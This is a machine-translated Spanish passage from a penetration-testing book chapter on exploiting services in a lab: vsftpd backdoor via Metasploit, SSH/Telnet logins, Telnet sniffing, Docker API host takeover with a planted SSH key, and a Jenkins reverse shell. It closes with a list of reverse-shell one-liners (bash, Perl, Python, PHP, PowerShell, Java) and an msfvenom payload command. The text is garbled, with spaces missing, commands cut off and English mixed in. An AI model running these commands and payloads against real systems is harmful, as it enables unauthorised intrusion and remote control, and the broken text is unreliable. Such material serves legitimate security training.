@IRFaraExam Machine Translated by Google Figura 7.7 Muestra de resultados de vulnerabilidad de OpenVAS Esto significa que podemos usar Metasploit Framework para hacer el trabajo. abra Metasploit y use la funcionalidad de búsqueda para buscarlos 17-010 explotar: msf5>buscarms17-010tipo:explotar MatchingModules ================ #Nombre Rango -------- Divulgación Fecha Comprobar descripción ------------------------------ 0exploit/windows/smb/ms17_010_eternalblue2017-03-14promedioSí MS17-010EternalBlueSMBRemoteWindowsKernelPool Corrupción 1exploit/windows/smb/ms17_010_eternalblue_win82017-03-14promedioNo MS17-010EternalBlueSMBRemoteWindowsKernelPool Corrupción para Win8+ 2exploit/windows/smb/ms17_010_psexecnormalSí MS17-010 2017-03-14 EternalRomance/EternalSynergy/EternalChampionSMBRemoteWindows Ejecución de código 3explotar/windows/smb/smb_doublepulsar_rce Canal de Telegram : @IRFaraExam 2017-04-14 Machine Translated by Google GenialSí SMBDOBLEPULSARRemotoCódigoEjecución Más adelante en este capítulo, obtendremos más detalles sobre cómo aprovechar el protocolo SMB. Si usó el motor de búsqueda de Google, también obtendrá un enlace a la referencia de exploitÿdb (vea la Figura 7.9). Figura 7.8 OpenVASÿ ReportReferences Figura 7.9 GoogleSearchforExploit BuscarSploit Puede usar exploit-db.com usarlaventanaterminalenlugardelaweb Canal de Telegram : @IRFaraExam Machine Translated by Google versiónutilizandolautilidadSearchSploit: $searchsploit[Opciones][Términos de búsqueda] Antes de comenzar a usar la herramienta, deberá actualizar su base de datos para sincronizar con la versión en línea de exploitÿdb : $searchsploit--actualizar Aquí está la búsqueda básica de la famosa vulnerabilidad SMB ms17-010: raíz@kali:~#searchsploitms17-010 -------------------------------------------------- ----------------- -------------------------------------------------- ---- Título del exploit|Ruta -------------------------------------------------- ----------------- -------------------------------------------------- ---- MicrosoftWindows-'EternalRomance'/'EternalSynergy'/'EternalChampion'SMBRemoteCode| windows/remote/43970.rb MicrosoftWindows-SMBRemoteCodeExecutionScanner(MS17-010) (Metasploit)|windows/dos/41891.rb MicrosoftWindows7/2008R2-'EternalBlue'SMBRemoteCodeExecution(MS17-010)| windows/remote/42031.py MicrosoftWindows7/8.1/2008R2/2012R2/2016R2-'EternalBlue'SMBRemoteCodeExecuti| windows/remote/42315.py MicrosoftWindows8/8.1/2012R2(x64)-'EternalBlue'SMBRemoteCodeExecution(MS17-0| windows_x86-64/remote/42030.py MicrosoftWindowsServer2008R2(x64)-'SrvOs2FeaToNt'SMBRemoteCodeExecution(MS1| windows_x86-64/remote/41987.py -------------------------------------------------- ----------------- -------------------------------------------------- ---- Shellcodes:NoResults Papeles:NoResultados SearchSplo es potente porque puede utilizar el filtrado de línea de comandos de Linux (por ejemplo, grep) para hacer el trabajo. Una de las funciones de filtrado integradas que debe tener en cuenta la opción de exclusión . Dado que SearchSploit mostrará una gran cantidad de salida, generalmente excluyo los resultados de DOS. He aquí un ejemplo: root@kali:~#searchsploitms17-010--exclude="/dos/" Además, puede agregar más términos a sus criterios de búsqueda para refinar los resultados. un ejemplo: Canal de Telegram : @IRFaraExam Machine Translated by Google root@kali:~#searchsploitms17-010windowsremote--exclude="/dos/" Una vez que elija un elemento de los resultados, debe copiar el archivo en otro directorio (para que no cambie el contenido del archivo original ) . root@kali:~#searchsploit--mirror43970/root/ Exploit:MicrosoftWindows'EternalRomance'/'EternalSynergy'/'EternalChampion'SMBRemoteCode Ejecución (Metasploit) (MS17-010) URL:https://www.exploit-db.com/exploits/43970 Ruta:/usr/share/ exploitdb/exploits/windows/remote/43970.rb Tipo de archivo: Rubyscript, texto ASCII, con terminadores de línea CRLF Copiado a:/root/43970.rb ServiciosExplotación En el capítulo anterior, enumeramos los servicios más populares que puede encontrar en su carrera como probador de penetración. En esta sección, explotaremos la mayoría de los servicios que intentamos enumerar anteriormente. Explotación del servicio FTP Para conectarnos a un servidor FTP, podemos usar FileZilla como cliente en Kalibox. Para instalarlo, use el siguiente comando: root@kali:~#aptinstallfilezilla-y El siguiente paso es verificar la información que recopilamos durante la fase de enumeración: Enumeración Hallazgos Acceso anónimo permitido usuario:usuariocredencialesvalidas ftp:123456789validcredentials ExploitexistsforvsFTPdversion2.3.4 Inicio de sesión FTP Canal de Telegram : @IRFaraExam Machine Translated by Google Para conectarnos con un inicio de sesión anónimo, usaremos FileZilla e ingresaremos las siguientes credenciales (ver Figura 7.10): Figura 7.10 FileZillaFTPConnect Anfitrión: metasploitable.kcorp.local Nombre de usuario: anonimo Contraseña: cualquier contraseña (puedes escribir lo que quieras allí) El cliente FTP pudo conectarse correctamente al host remoto. Desafortunadamente, el directorio remoto está vacío. Aquí hay algunas ideas comunes de lo que puede lograr en esta etapa: La información confidencial se almacena en archivos en el servidor FTP. Si encontró archivos ejecutables (p. ej., java2.1.exe ), verifique si existe un exploit público, porque existe una alta probabilidad de que el software ya esté instalado en el host remoto. Compruebe si puede cargar archivos. Eso significa que podría invocarlos a través de otros medios para que pueda lograr un shell inverso. A través de una aplicación web A través de un caparazón limitado (para lograr un caparazón raíz) Verificar las otras dos credenciales usando FileZilla también resultó ser cierto. Podemos conectarnos con éxito al servidor FTP. Pero el nombre de usuario user nos da acceso a todos los directorios del usuario ( /home ), como se muestra en la Figura 7.11. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 7.11 Conexión FileZillaFTP establecida Ejecución remota de código Es hora de comprobar si existe un exploit de shell remoto para esta versión del servidor. Según un escaneo de Nmaps, esta versión de vs FTPd versión 2.3.4 es vulnerable explotar públicamente: |ftpÿvsftpdÿbackdoor:| VULNERABLE: |vsFTPdversión2.3.4puerta trasera Estado: VULNERABLE (explotable) ID:BID:48539CVE:CVE-2011-2523 vsFTPdversion2.3.4backdoor, esto se informó en 2011|||07-04. Fecha de divulgación:2011-07-03 Explotar resultados: |||Comando Shell:id |Resultados:uid=0(raíz)gid=0(raíz) |Referencias: |http://scarybeastsecurity.blogspot.com/2011/07/alert vsftpd-download-backdoored.html |https://github.com/rapid7/metasploit framework/blob/master/ modules/exploits/unix/ftp/vsftpd_234_backdoor.rb | 2523 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011- |_ https://www.securityfocus.com/bid/48539 Canal de Telegram : @IRFaraExam Machine Translated by Google Verifique dos veces, generalmente podemos ir al motor de búsqueda de Google y buscar anexploit (ver Figura 7.12). Figura 7.12 GoogleSearch –FTPExploit De acuerdo con los resultados anteriores, el primer enlace apunta al sitio web de Rapid7. En otras palabras, deberíamos poder explotarlo a través de Metasploit: msf5>buscarvsftpdtype:explotar MatchingModules ================ #Nombre Comprobar descripción ----- Divulgación Fecha Rango ------------------- - --------------0exploit/unix/ftp/vsftpd_234_backdoor2011-07-03VSFTPDv2.3.4Ejecución de No comando de puerta trasera excelente Parece que tenemos un buen candidato. Veamos si es explotable. Si eres nuevo a Metasploit y preguntándose qué opciones elegir para cada módulo, entonces el Canal de Telegram : @IRFaraExam Machine Translated by Google la respuesta es simplemente escribir opciones. Pero primero, debe ejecutar el comando use para cargar el módulo de explotación : msf5>useexploit/unix/ftp/vsftpd_234_backdoor msf5exploit(unix/ftp/ vsftpd_234_backdoor)>opciones Opciones de módulo (exploit/unix/ftp/vsftpd_234_backdoor): NombreConfiguración actualObligatorioDescripción --------------------------------------------RHOSTSí Los hosts de destino, el identificador de CIDR de rango o el archivo de hosts con el archivo de sintaxis: <ruta>' RPORT21síEl puerto de destino (TCP) Objetivo de explotación: IdNombre -----0Automático De acuerdo con las opciones anteriores, tenemos dos valores de opción requeridos: RHOSTS(IP de host remoto) RPORT(número de puerto remoto) El valor RPORT ya se ha establecido en el puerto FTP predeterminado 21. A continuación, necesitamos ingresar la dirección IP de Metasploitable y ejecutar el comando de ejecución para ver si podemos explotar el host remoto: msf5exploit(unix/ftp/vsftpd_234_backdoor)>establecerRHOSTS172.16.0.101 RHOSTS=>172.16.0.101 msf5exploit(unix/ftp/vsftpd_234_backdoor)>ejecutar [*]172.16.0.101:21-Banner:220(vsFTPd2.3.4) [*]172.16.0.101:21-USER:331Especifiquelacontraseña. [+] 172.16.0.101: 21: se ha generado el servicio de puerta trasera, manejando ... [+]172.16.0.101:21-UID:uid=0(raíz)gid=0(raíz) [*]Concha encontrada. [*]Commandshellsession3opened(0.0.0.0:0->172.16.0.101:6200) at2020-06-2410:43:31-0400 ls bin cdrom de arranque Canal de Telegram : @IRFaraExam Machine Translated by Google desarrollo, etc. […] ¡Mira esto! Tenemos nuestra primera explotación de caparazón remoto en este libro. A continuación, necesitamos generar el caparazón. PROPINA En el módulo anterior, usé el comando ejecutar para ejecutarlo . También puede usar exploit en su lugar. DesovarunaConcha En el shell remoto anterior, nos faltaba la secuencia de explosión de la ventana terminal. Generar el shell con Python nos permitirá hacer el trabajo. Primero, verifique si Python está instalado en el host usando el comando which . Después de eso, podemos ejecutar el comando de generación de Python : whichPython / usr/bin/python pythonÿc'importpty;pty.spawn("/bin/bash")' root@metasploitable:/# Muy bien, parece que tenemos un rootshell en un solo tiro. Vamos a verificarlo dos veces usando el comando id : root@metasploitable:/#id id uid=0(root)gid=0(root) root@metasploitable:/# De hecho, se trata de un shell raíz, por lo que no es necesario complicarse con las técnicas de escalada de privilegios. W00tW00t (esa es la frase que uso cuando quiero celebrar un shell raíz remoto). Aprovechar el servicio SSH Obtener algunas credenciales para el SSH durante la fase de enumeración es un logro significativo. En el capítulo anterior, obtuvimos la siguiente información: Canal de Telegram : @IRFaraExam Machine Translated by Google Versión del servidor SSH: OpenSSH4.7p1Debian8ubuntu1 (esto es solo informativo) Credenciales válidas: nombre de usuario=usuario;contraseña=usuario Credenciales válidas: nombre de usuario=servicio;contraseña=servicio inicio de sesión SSH Primero, probemos el usuario: las credenciales del usuario para verificar si obtendremos un shell remoto: root@kali:~# [email protected] No se puede establecer la autenticidad del host 'metasploitable.kcorp.local (172.16.0.101)'. RSAkeyfingerprintisSHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk. ¿Está seguro de que desea continuar conectándose (sí/no/[huella digital])? sí Advertencia: Se agregó permanentemente 'metasploitable.kcorp.local, 172.16.0.101' (RSA) a la lista de hosts conocidos. [email protected]ña local:Linuxmetasploitable2.6.24-16servidor#1SMPTjuAbr1013:58:00UTC2008i686 Los programas incluidos con el sistema Ubuntu son software gratuito; los términos de distribución exactos para cada programa descrito en el archivos individuales en/usr/share/doc/*/copyright. Ubuntu viene CON ABSOLUTAMENTE NINGUNA GARANTÍA, en la medida en que lo permita ley aplicable. Para acceder a la documentación oficial de Ubuntu, visite: http://help.ubuntu.com/ Último inicio de sesión: lun jun 816: 50: 212020 de 172.16.0.102 usuario@metasploitable:~$ ¡Funciona! El siguiente desafío es verificar los permisos de este usuario. palabras, ¿eres raíz? usuario@metasploitable:~$id uid=1001(usuario)gid=1001(usuario)grupos=1001(usuario) usuario@metasploitable:~$cat/etc/shadow cat:/etc/shadow:Permiso denegado usuario@metasploitable:~$ Canal de Telegram : @IRFaraExam Machine Translated by Google Según la información anterior, el usuario no tiene autorizaciones para ejecutar con permisos de root. Tal vez el otro usuario, servicio, tenga un permiso de root. Probemos: oot@kali:~# [email protected] [email protected]'spassword:Linuxmetasploitable2.6.24-16server#1SMPThuAbr1013:58:00UTC2008i686 Los programas incluidos con el sistema Ubuntu son software gratuito; los términos de distribución exactos para cada programa se describen en los archivos individuales en /usr/share/doc/*/copyright. Ubuntu viene CON ABSOLUTAMENTE SIN GARANTÍA, en la medida en que lo permita la ley aplicable. Para acceder a la documentación oficial de Ubuntu, visite: http://help.ubuntu.com/ service@metasploitable:~$ id uid=1002(service)gid=1002(service)groups=1002(service) service@metasploitable:~$ cat/etc/shadow cat:/etc/shadow:Permiso denegado servicio@metasploitable:~$ Es lo mismo que la sesión anterior: no pudimos obtener un shell raíz. TelnetServiceExplotación Esto es lo mismo que SSH. El servidor Telnet nos permitirá conectarnos de forma remota a la línea de comandos. En el capítulo anterior, recopilamos la siguiente información: Versión del servidor: 23/tcpopentelnetLinuxtelnetd Credenciales válidas: nombre de usuario=usuario;contraseña=usuario TelnetIniciar sesión Usemos el comando telnet en Kali Linux para conectar y probar las credenciales anteriores encontradas durante la fase de enumeración: root@kali:~# telnetmetasploitable.kcorp.local Trying172.16.0.101… Conectado a metaexplotable.kcorp.local. […] Canal de Telegram : @IRFaraExam Machine Translated by Google metasploitablelogin: usuario Contraseña:Último inicio de sesión:ThuJun2508:21:41EDT2020from172.16.0.102onpts/1 Linuxmetasploitable2.6.24-16server#1SMPThuApr1013:58:00UTC2008i686 Los programas incluidos con el sistema Ubuntu son software gratuito; los términos de distribución exactos para cada programa se describen en los archivos individuales en /usr/share/doc/*/copyright. Ubuntu viene CON ABSOLUTAMENTE SIN GARANTÍA, en la medida en que lo permita la ley aplicable. Para acceder a la documentación oficial de Ubuntu, visite: http://help.ubuntu.com/ user@metasploitable:~$id uid=1001(user)gid=1001(user)groups=1001(user) user@metasploitable:~$ Como puede ver en la salida del terminal anterior, nos conectamos de forma remota al servidor Telnet. Tenemos un shell con privilegios bajos ya que los permisos de este usuario son limitados. SniffingforCleartextInformation Ifyourememberfromthepreviouschapter, welearnedthattheTelnetservice sendsthecommunicationincleartextonthenetwork.Wewillnowseewhatthis lookslikeintheWiresharksniffer.WewillrunWiresharkonourKalihostto interceptalltheoutgoingpackets.Inarealscenario, youwillneedtointercept thecommunicationatthenetworkswitchlevelbysettingaportmirroringport thatcopiesallthetraffictooneswitchport.Thisdependsoneachmanufacturer, butit'sachievablejustbycheckingthemanualoftheswitchvendor.Also, algunos theconnectiontoanoutputconnection hardwarekitsexistandwiththemyoucanplugintothenetworkcabletoredirect (host whichwillbeconnectedtoyourKali). Para ejecutar Wireshark, simplemente ingrese su nombre en la ventana de la terminal, o puede abrirlo desde el menú Kalimenu seleccionando 09–Sniffing&SpoofingÿWireshark. Una vez cargada la ventana, seleccione la interfaz de red que desea escuchar (consulte la Figura 7.13). En este caso, elegiremos eth 0. Haga doble clic en él para comenzar Canal de Telegram : @IRFaraExam Machine Translated by Google olfateando el tráfico entrante y saliente. Intentemos conectarnos de forma remota al servidor Telnet y ejecutar algunos comandos. Después de eso, verificaremos si Wireshark pudo capturar algo de eso (consulte la Figura 7.14). Para comenzar, necesitaremos filtrar, solo para los paquetes Telnet, dentro de Wireshark. Hecho esto, ingresemos la siguiente cadena en la barra de filtro: tcp.puerto==23 Una vez que se haya ejecutado el filtro, haga clic derecho en cualquier paquete y seleccione SeguirÿTransmisión TCP (vea la Figura 7.15). Figura 7.13 Selección de interfaz de Wireshark Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 7.14 Resultados de captura de Wireshark Figura 7.15 Wireshark: seguimiento de TCPStream En la ventana Flujo de TCP, puede ver las credenciales y los comandos que ejecutamos en la ventana de la terminal (consulte la Figura 7.16). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 7.16 Wireshark: captura de texto claro A partir de ahora, puede aplicar esta técnica a cualquier protocolo de texto claro, como los siguientes: FTP Telnet SMTP HTTP Canal de Telegram : @IRFaraExam Machine Translated by Google POP3 IMAPv4 NetBIOS SNMP Explotación del servidor de correo electrónico Para que este ataque funcione, necesitaremos una cuenta de usuario comprometida (por ejemplo, usando Hydra). También puede adquirir este hallazgo en un canal diferente; no siempre tiene que ser la técnica de fuerza bruta (por ejemplo, cuenta encontrada en el servidor FTP o credenciales codificadas en el código fuente de la página web, ataque de ingeniería social, etc.). Luego, necesitaremos instalar un cliente de correo en nuestro host Kali Linux. Para este propósito, usemos el programa llamado evolución durante nuestros compromisos (también puede usar Thunderbird). Para instalarlo, utilice el comando aptinstall habitual : root@kali:~#aptinstallevolution-y Para ejecutarlo por primera vez, deberá establecer la configuración entrante/saliente del servidor de correo y toda la información sobre la bandeja de entrada de correo de destino. En esta etapa, debe saber lo siguiente: El nombre de usuario del correo electrónico (en nuestro ejemplo, es [email protected] ) La contraseña de la cuenta de correo La dirección del servidor de correo (en nuestro ejemplo, es mail.kcorp.local ) En la primera ventana que se muestra en la Figura 7.17, creé la entrada para las configuraciones IMAP/SSL. Si desea utilizar el IMAP no seguro, seleccione el puerto 143 y asegúrese de cambiar el valor del Método de cifrado a Sin cifrado (consulte la Figura 7.17). A continuación, configuraremos las opciones de envío para un puerto SMTP seguro, 465. Una vez más, si desea utilizar el protocolo de texto sin cifrar, establezca el puerto en 25 y asegúrese de cambiar el valor del método de cifrado a Sin cifrado (consulte la Figura 7.18). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 7.17 Configuración de recepción de correo electrónico Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 7.18 Configuración de envío de correo electrónico Finalmente, la figura 7.19 muestra un emocionante correo electrónico que Gus recibió en su bandeja de entrada durante el comienzo de su carrera en KCorp . Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 7.19 Bandeja de entrada de correo electrónico Explotación Docker Para comprender esta sección, necesitará dos requisitos previos. En primer lugar, deberá saber todo lo que tratamos en el capítulo de enumeración anterior. En segundo lugar, deberá estar familiarizado con la tecnología Docker; En este escenario de explotación, hay dos máquinas virtuales host (consulte la figura 7.20): KaliLinux (atacante): 172.16.0.102 UbuntuLinux: 172.16.0.103 En el host Ubuntu de destino, instalaremos un motor Docker (con el puerto TCP 2375 abierto) y también tendremos un contenedor Jenkins ejecutándose. Tenga en cuenta que los contenedores Docker tienen sus propias subredes de red; para este ejemplo, la red de los contenedores Docker es 172.17.0.0/16. Prueba de la conexión de Docker Para interactuar con el motor Docker remoto, primero necesitaremos instalar un cliente Docker en nuestro host Kali: root@kali:~#aptupdate&&aptinstalldocker.io-y root@kali:~#systemctlstartdocker&&systemctlenabledocker Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 7.20 DockerHostDesign Para probar si podemos conectarnos al Docker remoto, ejecutemos una prueba funciónparalistarloscontenedoresenUbuntuhost: root@kali:~# docker-H172.16.0.103:2375ps-a CONTENEDORIDIMAGENCOMANDOCREADOPORTSNOMBRES ESTADO 7dd7d926605ajenkins"/bin/tini--/usr/l..."2hoursagoUp2hours0.0.0.0:8080->8080/ tcp,0.0.0.0:50000->50000/tcplabjenkins ¡Perfecto, funciona! A continuación, ejecutaremos un nuevo contenedor en el host de Ubuntu para compromiso. Creación de un nuevo contenedor de Kali remoto Enestaetapa,crearemosunnuevoKalicontainerenUbuntu.Recuerdeque estamos usando nuestra máquina virtual Kali para ejecutar estos comandos de Docker de forma remota en el Ubuntuhost de la víctima. DescargarKaliImagen Primero, descargue la imagen de Kali Linux del Docker Hub: root@kali:~# dockerÿH172.16.0.103:2375pullkalilinux/kali Usando la etiqueta predeterminada: más reciente último: Extrayendo de kalilinux/kali ba24b40d7ccc:PullcompleteDigest:sha256:0954a8766c13e16bfc3c4ad1cdd457630bc6f27a2f6a7f456015f61 Canal de Telegram : @IRFaraExam Machine Translated by Google Estado: descargado imagen más nueva para kalilinux/kali: más reciente docker.io/kalilinux/kali:último Comprobar si la imagen se ha descargado Siempre vamos a verificar dos veces si la imagen se descargó correctamente: root@kali:~# dockerÿH172.16.0.103:2375imágenes REPOSITOR CREADO TAMAÑOETIQUETA kalilinux/kali4daysago114MB IMAGEIDlatestbd513360cce5latestcd14cecfdb3a jenkinshace 23 meses696MB EjecutandoelContenedor A continuación, ejecutaremos el contenedor y montaremos el directorio raíz de Ubuntu ( / ) en /mnt en el contenedor Kali (porque queremos comprometer el host de Ubuntu más adelante): root@kali:~# dockerÿH172.16.0.103:2375runÿitdÿÿnamefsocietyÿ v/:/mntbd513360cce5 558c0ae8491290e1dade641cd62f6b7e258a0d6bc1a33cd3bfc0991f8824716a Comprobar si el contenedor se está ejecutando Como otro control, verifiquemos si el contenedor se está ejecutando antes de conectar techo: root@kali:~# dockerÿH172.16.0.103:2375ps CONTENEDORIDIMAGENCOMANDOESTADONOMBRES CREADO PUERTOS 11 558c0ae84912bd513360cce5"bash"segundosagoUp11segundosfsociedad "/ bin / tini - / usr / l…" 2 horas jenkins0.0.0.0:8080->8080/tcp,0.0.0.0:500007dd7d926605aUp2hoursago>50000/tcp labjenkins Introducir una concha en el contenedor de Kali Dado que el contenedor Kali ahora está en funcionamiento, todo lo que necesitamos es ejecutar el exec . comandotogetaremoteshell: root@kali:~# docker-H172.16.0.103:2375exec-it558c0ae84912bash root@558c0ae84912:/#id uid=0(raíz)gid=0(raíz)groups=0(raíz) root@558c0ae84912:/# Canal de Telegram : @IRFaraExam Machine Translated by Google Tenemos un shell remoto raíz en el contenedor Kali. A continuación, comprometamos el host de Ubuntu usando este contenedor. Explotación de DockerHost En esta etapa, tenemos un contenedor Kali Linux ejecutándose en el host de Ubuntu. Pudimos crear este contenedor de forma remota y conectarnos a su shell también. En este paso, aprenderá cómo comprometer el host de Ubuntu a través del contenedor que creamos anteriormente. root@kali:~# nmap172.16.0.103 Iniciando Nmap7.80(https://nmap.org) en 2020-06-2607:15EDT Nmapscanreportfor172.16.0.103 Hostisup(0.00014slatency). No se muestra: 997 puertos cerrados PORTSTATESERVICE 8080/tcpopenhttp-proxy 22/tcpopenssh 50000/tcpopenibm-db2 MACAddress:00:0C:29:96:F8:6C(VMware) Nmapdone: 1 dirección IP (1 host up) escaneada en 0,23 segundos Antes de continuar con el exploit, debe comprender dos puntos clave: El Dockerengine (Daemon) se está ejecutando como raíz en el host de Ubuntu. El contenedor de Kali tiene un volumen adjunto y está asignado a todo el sistema de archivos de Ubuntu. En otras palabras, debemos poder escribir en el host de Ubuntu a través del contenedor de Kali. Generación de claves SSH En la máquina virtual Kali (no en el contenedor), generaremos claves SSH para que podamos conectarnos de forma remota a la máquina virtual Ubuntu. Usemos el comando ssh-keygen para hacer el trabajo (no usaremos una frase de contraseña, así que presionaremos Intro durante la configuración): root@kali:~# sshÿkeygen Generando un par de claves públicas/privadas. Ingrese el archivo en el cual guardar la clave (/root/.ssh/id_rsa): Ingrese la frase de contraseña (vacío para ninguna frase de contraseña): Ingrese la misma frase de contraseña nuevamente: Su identificación ha sido guardada en/root/.ssh/id_rsa Canal de Telegram : @IRFaraExam Machine Translated by Google Su clave pública ha sido guardada en /root/.ssh/id_rsa.pub La huella dactilar clave es: SHA256:w0gYi9/7xBEU46xkO66+X9jCcKUa5NKtcR8WBjccU0kroot@kali La imagen aleatoria de la clave es: +---[RSA3072]----+ |...O=E.| . |++.+.| . ++B || * | = Oh | |.B@S| |.@O+| ** |el| . = || |.+el..| +----[SHA256]-----+ Transferencia de clave En esta etapa, tenemos que transferir la clave pública generada anteriormente, /root/.ssh/id_rsa.pub , edite alcontenedorKalicon.Abramoselarchivoentexto KaliVM (no el contenedor) y copie su contenido. A continuación, volveré a mi conexión de shell remota al contenedor de Kali. Primero, asegurémonos de que tenemos una carpeta ssh dentro del directorio de inicio raíz en el Ubuntuhost. Si no, vamos a crear uno nuevo: raíz@558c0ae84912:~# cd/mnt/raíz root@558c0ae84912:/mnt/root# lsÿla total36 drwx------6rootroot4096Jun1615:48. drwxr-xr-x20rootroot4096Jun1120:23.. -rw------- 1rootroot1608Jun2611:50.bash_history -rw-r--r-- 1rootroot3106Dec52019.bashrc drwx------ 2rootroot4096Jun2611:50.cache drwx------ 3rootroot4096Jun1615:48.config drwxr-xr-x 3rootroot4096Jun1120:36.local -rw-r--r-- 1rootroot161Dec52019.profile drwx------ 3rootroot4096Jun1616:12.vnc root@558c0ae84912:/mnt/root# mkdir.ssh root@558c0ae84912:/mnt/root# cd.ssh Use el comando echo para agregar la clave pública que generamos en Kali VM al archivo de claves_autorizadas . (Si no sabe cuáles son las claves_autorizadas archivo es, consulte la sección SSH del primer capítulo de este libro para comprender cómo SSH funciona entre bastidores.) Canal de Telegram : @IRFaraExam Machine Translated by Google root @ 558c0ae84912: /mnt/root/.ssh#echo "sshrsaAAAAB3NzaC1yc2EAAAADAQABAAABgQDKc2E5yhmGHiz9jE4 + 8oNZ59n26F9T5niTQGWaCI1fhFUFn - <ce: IDenlace =" pp: 189np: 190 "role =" page-break "/> -> UldDMwSIFMdtj4Pcrau + aPls9thC47KprWmkKd47O7yXdiQDUu8OD8cQ7h2HylQEBRlh / root 9xP4JdOy @kali">claves_autorizadas Es hora de la verdad: intente conectarse a la VM de Ubuntu desde nuestro host Kali (no desde el contenedor): root@kali:~# [email protected] Bienvenido aUbuntu20.04LTS (GNU/Linux5.4.0-37-genericx86_64) *Documentación:https://help.ubuntu.com https:// * ubuntu.com/advantage landscape.canonical.com Soporte: Gestión:https:// * 34las actualizaciones se pueden instalar inmediatamente. 14 de estas actualizaciones son actualizaciones de seguridad. Para ver estas actualizaciones adicionales, ejecute: aptlist--upgradable Su pila de habilitación de hardware (HWE) es compatible hasta abril de 2025. Último inicio de sesión: VieJun2604:50:392020from172.16.0.102 root@ub01:~# ¡Y tenemos una cáscara de raíz! Explotando Jenkins La explotación de Jenkins es un excelente ejemplo que puede aplicar a otros portales web. Una vez que vea un portal web, debe revisar la siguiente lista de verificación: Omitir la página de inicio de sesión. Entrar por la fuerza bruta Omisión de autenticación de inyección SQL (cubriremos esto más adelante en el libro) Robar las credenciales Inicie sesión y aproveche las debilidades de las funcionalidades del portal. Ejecutar comandos Cargue un shell web (lo cubriremos más adelante en este libro) Si ninguno de estos elementos es factible, tal vez pueda intentar buscar un público Canal de Telegram : @IRFaraExam Machine Translated by Google exploit.Idealmente, el administrador no actualizó el sistema y todavía está usando una versión anterior. Si recuerda de la fase de enumeración, pudimos obtener una cuenta válida (admin:admin) utilizando Hydra. Usémosla para iniciar sesión en el portal (consulte la Figura 7.21). Figura 7.21 Página de inicio de Jenkins Nuestro objetivo en esta etapa es obtener un shell remoto, por lo que necesitaremos ejecutar comandos a través de este portal. gato de red : root@kali:~#nc-nlvp1111 escuchando[cualquiera]1111… Para volver a la página de Jenkins, haga clic en el enlace Crear nuevos trabajos para programar un comando. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 7.22 Jenkins-Nuevo Proyecto Una vez que esté en la página de configuración del proyecto, desplácese hacia abajo hasta la sección Construir y seleccione el elemento de menú Ejecutar Shell (consulte la Figura 7.23). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 7.23 Jenkins–Agregar paso de compilación Sabemos por la fase de enumeración que este host está basado en Linux, por lo que usaremos Perl para ejecutar el comando de shell inverso (recuerde que tenemos un oyente en nuestro puerto Kalihoston 1111). No ejecutaremos netcat porque este es un servidor de producción y el administrador de KCorp probablemente no lo instaló; perl-e'useSocket; $i="172.16.0.102"; $p=1111;socket(S,PF_INET,SOCK_STREAM,getprotobyname(" {open(STDIN,">&S");open(STDOUT,">&S" );op Después de hacer clic en Guardar, la ventana se cerrará. Ahora, todo lo que tenemos que hacer es ejecutar el comando. Para hacer esto, haga clic en Construir ahora en el menú de la izquierda. root@kali:~#nc-nlvp1111 Canal de Telegram : @IRFaraExam Machine Translated by Google escuchando en [cualquier] 1111... conectarse a [172.16.0.102] desde (DESCONOCIDO) [172.16.0.103] 39082 $ id uid = 1000 (jenkins) gid = 1000 (jenkins) grupos = 1000 (jenkins) $ Figura 7.24 Jenkins–ReverseShell ReverseShells En el ejemplo anterior, vio la importancia de ejecutar un shell que sea compatible con el host de la víctima remota. En esta sección, aprenderá acerca de los diferentes tipos de shells que puede ejecutar en la máquina de la víctima. Tenga en cuenta que a veces tendrá que probar diferentes en el mismo host. Intento bash-i> & / dev / tcp / [KaliIP] / [KaliListenerPort] 0> & 1 Perl perl-e'useSocket; $ ip = "[KaliIP]"; $ puerto = [KaliListener Puerto];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockadd {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR ,">&S");exec("/bin/sh -i");};' Canal de Telegram : @IRFaraExam Machine Translated by Google Java runt = Tiempo de ejecución.getRuntime () proc = runt.exec (["/ bin / bash", "- c", "exec5 <> / dev / tcp / [KaliIP] / [KaliListenerport]; cat <& 5 | whilereadline; do\$line2> & 5 > & 5 ; hecho "] asString []) proc.esperar() Pitón python-c'importsocket, subproceso, os; sok = socket.socket (socket.AF_INET, socket.SOCK_STREAM); sok. [KaliIP]",[KaliListenerport]));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); subproceso.llamada(["/bin/sh","-i"]);' PHP php-r'fsockopen("[KaliIP]",[KaliListenerport]);exec("/bin/shi<&3>&32>&3");' Potencia Shell Este es complicado; debe tener cuidado porque el sistema operativo Windows ha evolucionado con la detección de malware. Este es un ejemplo de una sola línea Script de PowerShell: $client=Nuevo-ObjectSystem.Net.Sockets.TCPClient("[KaliIP]",[KaliListenerPort]); $stream=$client.GetStream();[byte[]]$bytes=0..65535| %{0 };while(($i=$stream.Read($bytes,0,$bytes.Length))ne0){;$data=(New-ObjectTypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex$data2>&1|Out+ String);$sendback2=$sendback+ "PS"(pwd).Ruta+">"; $sendbyte=([texto.codificación]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendb El revestimiento anterior será detectado principalmente por software antivirus. las herramientas se están volviendo mejores que antes, por lo que debe ser creativo cuando esto surge el desafío Canal de Telegram : @IRFaraExam Machine Translated by Google Uso de Shells con Metasploit En la sección anterior, vio diferentes tipos de proyectiles que puede ejecutar en el host de la víctima. Mantener todos estos comandos no es práctico, por lo que la solución es Metasploit/MSFvenom. Creación de un oyente en Metasploit Comencemos con un ejemplo práctico para que pueda comprender cómo funciona en el terreno. En nuestro ejemplo actual, generaremos una carga útil de Windows/Meterpreter usando MSFvenom primero (recuerde que LHOST es la dirección IP de Kali y LPORT es el puerto en el que queremos escuchar): root@kali:~# msfvenomÿpwindows/meterpreter/ reverse_tcpLHOST=172.16.0.102LPORT=1111ÿfexe>shell.exe 